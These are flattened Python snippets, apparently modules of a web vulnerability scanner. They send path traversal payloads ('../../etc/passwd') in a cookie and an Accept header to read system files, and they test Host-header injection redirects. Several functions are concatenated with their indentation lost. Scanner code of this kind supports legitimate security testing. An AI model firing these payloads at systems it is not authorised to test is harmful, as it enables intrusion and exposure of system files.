def Back_H(opt): return nq.Update(redirect=opt['redirect'], dump=opt['dump'], cookie=opt['cookies'], header=opt['headers'], timeout=opt['timeout'], proxies=opt['proxy'], random_agents=opt['random_agents'])
def run(options): for url in options['url']: cookie['usid'] = '../../../../../../../../../../../../../etc/passwd' nq.Update(cookie=cookie) r = nq.Get(url) if r != 0: if '/usr/sbin/nologin' in r.content.decode(): print("[+] Read /etc/passwd :)") print('hi')
def scan(host): try: payloads = { '../../../../../../../../../../etc/passwd{{':'root:' } for payload,msg in payloads.items(): nq.Update(header={'Accept':payload}) r = nq.Get(host) if r != 0: try: if msg.encode() in r.content: print(f'[+] Found :> {host}') finally: pass finally: pass
def scan(host): try: payloads = {'scant3r.org': 'scant3r.org'} for payload, msg in payloads.items(): nq.Update(header={'Host': 'scant3r.org'}) r = nq.Get(host) if r != 0: try: loc = r.headers.get('Location') if loc: r = urlparse(loc).netloc if 'scant3r.org' in r: print(f'''[+] Found :> {host}''') break else: continue finally: pass finally: pass